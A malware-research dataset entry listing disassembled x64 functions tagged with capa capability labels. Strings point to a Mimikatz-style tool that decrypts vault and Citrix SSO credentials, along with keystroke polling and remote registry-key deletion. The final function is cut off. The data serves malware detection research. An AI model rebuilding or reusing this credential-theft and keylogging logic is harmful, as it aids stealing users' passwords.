joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b1d14
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
lea rdx, str.Microsoft_WinInet_
mov rcx, qword [rcx + 8]
call fcn.1400c5a30
test rax, rax
je 0x1400b1dc3
mov edx, dword [rbx + 0x20]
cmp edx, 0x14
jb 0x1400b1f36
mov rcx, qword [rbx + 0x28]
mov rax, qword [rcx + 4]
cmp rax, qword [0x1400f6160]
jne 0x1400b1f36
mov rax, qword [rcx + 0xc]
cmp rax, qword [0x1400f6168]
jne 0x1400b1f36
lea rax, [0x1400f5250]
mov dword [rbp - 0x20], edx
mov qword [rbp - 8], rax
lea r8, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rcx
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
and dword [rsp + 0x28], 0
xor r9d, r9d
and qword [rsp + 0x20], 0
xor edx, edx
mov dword [rbp - 0x10], Ordinal_77
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400b1f22
lea rcx, str.___CredentialBlob:
jmp 0x1400b1ef9
mov rcx, qword [rbx + 8]
lea rdx, str.AppSense_DataNow_
call fcn.1400c5a30
test rax, rax
je 0x1400b1f36
lea rcx, str._Ivanti_FileDirector_credential_blob__n
call fcn.14000bf1c
cmp dword [rbx + 0x20], 0x14
jb 0x1400b1f36
mov rbx, qword [rbx + 0x28]
lea rcx, str.AppN_DN_Win
mov rdx, rbx
call fcn.1400e9720
test eax, eax
jne 0x1400b1f36
cmp dword [rbx + 0xc], eax
je 0x1400b1e9e
lea rcx, str.Decrypting_additional_blob_n
call fcn.14000bf1c
mov eax, dword [rbx + 0xc]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], eax
xor r9d, r9d
lea rax, [rbx + 0x14]
xor r8d, r8d
mov qword [rbp - 0x18], rax
xor edx, edx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400b1e8a
lea rcx, str.___CredentialBlob:
call fcn.14000bf1c
mov edx, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.140012980
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bf1c
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400b1e9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.14000bf1c
cmp dword [rbx + 0x10], 0
je 0x1400b1f36
lea rcx, str.Decrypting_additional_blob_n
call fcn.14000bf1c
mov eax, dword [rbx + 0x10]
xor r9d, r9d
mov dword [rbp - 0x20], eax
xor r8d, r8d
mov ecx, dword [rbx + 0xc]
lea rax, [rbp - 0x30]
add rcx, 0x14
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
add rcx, rbx
and qword [rsp + 0x20], 0
xor edx, edx
mov qword [rbp - 0x18], rcx
lea rcx, [rbp - 0x20]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400b1f22
lea rcx, str.___UnkBlob_______:
call fcn.14000bf1c
mov edx, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.140012980
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bf1c
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400b1f36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.14000bf1c
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x1400ba1f4
Capabilities:
Accept command line arguments

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x20
mov rax, rdx
mov rbp, rcx
lea rdx, [r11 + 0x10]
mov rcx, qword [rax + 8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdi, rax
test rax, rax
je 0x1400ba2a3
mov eax, dword [rsp + 0x38]
test eax, eax
jle 0x1400ba28c
xor ebx, ebx
test eax, eax
jle 0x1400ba283
mov rsi, rdi
mov rcx, qword [rsi]
lea rdx, str._HTC:
mov r8d, 5
call fcn.1400d96a8
test eax, eax
je 0x1400ba25c
inc ebx
add rsi, 8
cmp ebx, dword [rsp + 0x38]
jl 0x1400ba235
jmp 0x1400ba283
movsxd rax, ebx
xor edx, edx
mov rcx, qword [rdi + rax*8]
lea r8d, [rdx + 0xa]
add rcx, 0xa
call fcn.1400d0880
mov edx, eax
mov rcx, rbp
mov ebx, eax
call fcn.1400ba2cc
test rbx, rbx
jne 0x1400ba298
lea rcx, str.__No_shared_memory__no_SSO_enabled___n
jmp 0x1400ba293
lea rcx, str.ERROR_Citrix_SSO_Program_args___No_command_module_
call fcn.14000bf1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400ba2b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_args___CommandLineToArgvW__0x_08x__n
call fcn.14000bf1c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400ba2cc
Capabilities:
Encode data using xor
Encrypt data using dpapi
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea r9, [rsp + 0x60]
mov dword [rsp + 0x30], esi
mov r8, rax
mov dword [rsp + 0x28], esi
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1400ba41f
mov rcx, qword [rsp + 0x60]
lea edx, [rsi + 4]
xor r9d, r9d
mov qword [rsp + 0x20], 0x61c
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
je 0x1400ba3fe
mov edx, 0x610
lea ecx, [rsi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400ba3f3
mov rcx, rax
lea rdx, [rdi + 0xc]
mov r8d, 0x610
call fcn.1400e9bc0
mov edx, 0x610
lea r8d, [rsi + 1]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SystemFunction041]
test eax, eax
jne 0x1400ba3dc
mov eax, dword [rbx + 0x400]
lea r9, [rbx + 0x404]
test eax, eax
je 0x1400ba3ae
mov rdx, r9
mov r8d, eax
mov cl, byte [rdx]
mov al, cl
xor al, sil
mov sil, cl
xor al, 0x43
mov byte [rdx], al
inc rdx
sub r8, 1
jne 0x1400ba397
mov eax, dword [rbx + 0x604]
lea r8, [rbx + 0x200]
mov dword [rsp + 0x28], eax
lea rcx, str._Username__:__s_n_Domain____:__s_n_Password__:__.s_n_flags_type:_0x_09x_n
mov qword [rsp + 0x20], r9
mov rdx, rbx
mov r9d, dword [rbx + 0x400]
call fcn.14000bf1c
jmp 0x1400ba3ea
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_FileMapping___RtlDecryptMemory:_0x_09x_n
call fcn.14000bf1c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x1400ba412
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_FileMapping___MapViewOfFile__0x_08x__n
call fcn.14000bf1c
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400ba433
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_FileMapping___DuplicateHandle__0x_08x__n
call fcn.14000bf1c
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1400c1074
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x40
xor ebp, ebp
xor r9d, r9d
and qword [rax - 0x38], rbp
mov edx, 0x80000000
and dword [rax - 0x40], ebp
lea r8d, [rbp + 3]
mov dword [rax - 0x48], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400c11b8
lea rdx, [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400c1199
mov r12d, 0x10000000
lea ecx, [rbp + 0x40]
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400c11ad
mov rax, qword [rsp + 0x80]
xor ecx, ecx
test rax, rax
jle 0x1400c118e
lea r14, [rcx + 0x10000000]
mov rbx, rax
sub rbx, rcx
mov rdx, rcx
cmp r14, rax
mov rcx, rsi
cmovl rbx, r12
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400c1166
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400c1157
mov edx, dword [rsp + 0x78]
mov rcx, rdi
call fcn.1400c0f6c
add ebp, eax
jmp 0x1400c117a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___ReadFile__0x_08x__n
jmp 0x1400c1173
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___SetFilePointerEx__0x_08x__n
mov edx, eax
call fcn.14000bf1c
mov rax, qword [rsp + 0x80]
mov rcx, r14
cmp r14, rax
jl 0x1400c10ff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400c11ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___GetFileSizeEx__0x_08x__n
call fcn.14000bf1c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400c11cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___CreateFile__0x_08x__n
call fcn.14000bf1c
mov rbx, qword [rsp + 0x70]
mov eax, ebp
add rsp, 0x40
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400c42d8
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x1400c4351
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x1400c4351
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
cmp r9w, r11w
jae 0x1400c4351
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x1400c4345
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x1400c4363
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x1400c4333
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x1400c4353
Function at 0x1400c5038
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c5082
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c5082
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c5082
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c5082
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c5082
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c5084
xor al, al
add rsp, 0x28
ret

Function at 0x1400dad10
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400dad7f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400dad7f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400dad7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400dad7f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400dad7f
cmp dword [rcx + 0x84], 0xe
jbe 0x1400dad7f
cmp dword [rcx + 0xf8], 0
je 0x1400dad7f
mov ecx, ebx
call fcn.1400dae30
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400dac0c
nop
cmp dword [rbp + 0x20], 0
je 0x1400dadcd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400dadd8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400dad10

Function at 0x1400daf14
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400dad10
Function at 0x1400e1ff4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400e207b
mov rsi, rbx
cmp word [rax], bp
je 0x1400e203a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400e2024
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400e2020
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400dbc00
mov rdi, rax
test rax, rax
je 0x1400e2068
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400e9bc0
mov rbp, rdi
xor ecx, ecx
call fcn.1400dbbc4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400e4bcc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400e4be2
mov al, 1
jmp 0x1400e4c42
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400e4bf3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400e4c40
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400dfee4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400e4c40
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400e4c40
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400e4c40
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400e4c42
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400e522c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140165e70]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400e5283
cmp word [rdx], r13w
jne 0x1400e5283
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400e5288
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400e53ad
mov r11d, reloc.Cabinet.dll_FCIFlushCabinet
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400e53ce
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400e52c1
mov rdx, r9
mov word [rbx], cx
jmp 0x1400e52e8
cmp r9, r8
jae 0x1400e52f8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400e52a2
jmp 0x1400e53ad
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400e53a2
cmp dword [rsp + 0x80], esi
je 0x1400e53a2
lea r8, [0x140165e70]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400e537a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400e534a
mov word [rbx], r13w
jmp 0x1400e53aa
mov ecx, reloc.Cabinet.dll_FCIFlushCabinet
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400e5357
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400e53aa
cmp word [rsp + 0x70], r13w
jne 0x1400e5387
cmp rbx, r14
je 0x1400e5344
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400e514c
cmp word [rsp + 0x70], r13w
je 0x1400e53ad
mov ecx, reloc.Cabinet.dll_FCIFlushCabinet
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140165e70]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400e53a7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400e53ad
Function at 0x1400e7e5c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400e514c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400e514c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400e7fac
cmp rax, 0xffffffffffffffff
je 0x1400e7fac
xor edi, edi
test rbp, rbp
jle 0x1400e7f57
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400de0e0
mov rbx, rax
test rax, rax
jne 0x1400e7ee4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400e7f4d
mov edx, 0x8000
mov ecx, r14d
call fcn.1400cec70
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400df32c
cmp eax, 0xffffffff
je 0x1400e7f2d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400e7ef4
mov edx, r15d
mov ecx, r14d
call fcn.1400cec70
jmp 0x1400e7f4d
cmp byte [rsi + 0x38], dil
je 0x1400e7f44
cmp dword [rsi + 0x34], 5
jne 0x1400e7f44
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.Cabinet.dll_FCIFlushCabinet
cmp byte [rsi + 0x30], dil
je 0x1400e7f4d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400dbbc4
jmp 0x1400e7fc0
jns 0x1400e7fc0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400e514c
cmp rax, 0xffffffffffffffff
jne 0x1400e7f78
cmp byte [rsi + 0x30], dil
je 0x1400e7fc0
mov edi, dword [rsi + 0x2c]
jmp 0x1400e7fc0
mov ecx, r14d
call fcn.1400dfee4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400e7fc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.Cabinet.dll_FCIFlushCabinet
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.Cabinet.dll_FCIFlushCabinet
jmp 0x1400e7fc0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400e7fb9
mov eax, dword [rsi + 0x2c]
jmp 0x1400e7fbe
mov eax, Ordinal_26
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400e514c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400e8cc0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400e8ce8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400e8ce8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14007199d
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.1400e85c0
mov qword [rsp + 0x28], 0
jmp 0x1400719be
mov rax, qword [rsp + 0x50]
cmp rax, qword [rsp + 0x28]
jl 0x140071aba
push 0
pop rcx
call fcn.1400cf570
and rax, rax
je 0x140071aaf
mov qword [rsp + 0x30], 0xffffffffffffffff
call fcn.14007b5f7
mov qword [rsp + 0x30], rax
mov r15, qword [rsp + 0x30]
and r15, r15
jle 0x140071a78
call fcn.1400d400c
mov rax, rax
push rax
mov r15, qword [0x140b36888]
cmp r15, qword [rsp]
jne 0x140071a35
sub rsp, 8
push qword [rsp + 0x40]
pop rcx
sub rsp, 0x20
call fcn.14006f934
add rsp, 0x28
mov r15, rax
and r15, r15
jne 0x140071a33
jmp 0x140071a75
xor r15, r15
cmp r15, qword [rsp]
jne 0x140071a5e
sub rsp, 8
push qword [rsp + 0x40]
pop rcx
sub rsp, 0x20
call fcn.14005b3a4
add rsp, 0x28
mov r15, rax
and r15, r15
jne 0x140071a5c
jmp 0x140071a75
sub rsp, 8
push 3
pop rcx
sub rsp, 0x20
call fcn.1400cf114
add rsp, 0x28
pop rax
jmp 0x140071a83
push 5
pop rcx
call fcn.1400cf114
push 0x1b
pop rcx
call sub.USER32.dll_GetKeyState
mov r15, rax
cmp r15, 1
jle 0x140071aa4
mov qword [0x140b367e8], 1
jmp 0x140071aaf
mov qword [0x140b367e8], 0
inc qword [rsp + 0x28]
jno 0x1400719be
xor rax, rax
add rsp, 0x40
pop r15
ret
Function at 0x14007b725
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push r15
mov rax, 7
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x14007b738
sub rsp, 0x28
call fcn.1400e85c0
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.1400e8130
add rsp, 0x10
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x30]
sub rsp, 0x10
call fcn.1400e8130
add rsp, 0x10
push qword [rsp + 0x28]
pop rcx
call fcn.14007b971
push qword [rsp + 0x30]
movabs rcx, 0x1401a00f4
pop rdx
call fcn.1400e8340
or rax, rax
je 0x14007b869
cmp dword [0x140b36ab8], 0
je 0x14007b847
movabs rax, str.Advapi32.dll
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400c242c
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14007b845
movabs rax, str.RegDeleteKeyExA
push rax
push qword [rsp + 0x40]
pop rcx
pop rdx
call fcn.1400c24b4
mov qword [rsp + 0x40], rax
sub rsp, 8
push 0
movsxd r15, dword [0x140b36abc]
or r15, 0xf003f
mov rax, r15
push rax
mov rax, qword [0x140b36a30]
mov rax, rax
push rax
push qword [0x140b36a40]
push qword [rsp + 0x68]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400c2e8c
add rsp, 0x30
mov qword [rsp + 0x48], rax
push qword [rsp + 0x38]
pop rcx
call fcn.1400c2318
jmp 0x14007b864
mov rax, qword [0x140b36a30]
mov rax, rax
push rax
push qword [0x140b36a40]
pop rcx
pop rdx
call sub.ADVAPI32.dll_RegDeleteKeyW
mov qword [rsp + 0x48], rax
jmp 0x14007b92e
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push qword [0x140b36a40]
push qword [rsp + 0x40]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_RegConnectRegistryW
movsxd rax, eax
mov qword [rsp + 0x50], rax
cmp dword [0x140b36ab8], 0
je 0x14007b913
movabs rax, str.Advapi32.dll
push rax
push 0xffffffffffffffff
pop rcx
pop rdx
call fcn.1400c242c
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x14007b911
push 0
movsxd r15, dword [0x140b36abc]
or r15, 0xf003f
mov rax, r15
push rax
mov rax, qword [0x140b36a30]
mov rax, rax
push rax
push qword [rsp + 0x70]
movabs rax, str.RegDeleteKeyExA
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400c3aa0
add rsp, 0x30
mov qword [rsp + 0x48], rax
push qword [rsp + 0x38]
pop rcx
call fcn.1400c2318
jmp 0x14007b92e
mov rax, qword [0x140b36a30]
mov rax, rax
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
call sub.ADVAPI32.dll_RegDeleteKeyW
mov qword [rsp + 0x48], rax
mov r15, qword [rsp + 0x48]
and r15, r15
jne 0x14007b941
mov rax, 1
jmp 0x14007b944
xor rax, rax
push rax
mov rcx, qword [rsp + 0x38]
sub rsp, 0x28
call fcn.1400e8630
add rsp, 0x28
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.1400e8630
add rsp, 0x28
pop rax
add rsp, 0x60
pop r15
ret
Function at 0x14007bcf6
Capabilities:
Get graphical window text

Disassembly:
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.1400e85c0
mov rcx, qword [rsp + 0x60]
call fcn.14007d1a8
mov r15, qword [0x140b36ac0]
and r15, r15
jne 0x14007bd40
push 0
push 0
pop rcx
pop rdx
call sub.USER32.dll_FindWindowW
mov qword [0x140b36ac8], rax
mov qword [0x140b36ac0], 1
jmp 0x14007bd59
push 2
push qword [0x140b36ac8]
pop rcx
pop rdx
call sub.USER32.dll_GetWindow
mov qword [0x140b36ac8], rax
mov r15, qword [0x140b36ac8]
and r15, r15
je 0x14007be2f
push 0xfffffffffffffff0
push qword [0x140b36ac8]
pop rcx
pop rdx
call sub.USER32.dll_GetWindowLongPtrW
mov r15, rax
and r15, 0x10000000
cmp r15, 0x10000000
jne 0x14007be2d
push 0xffffffffffffffec
push qword [0x140b36ac8]
pop rcx
pop rdx
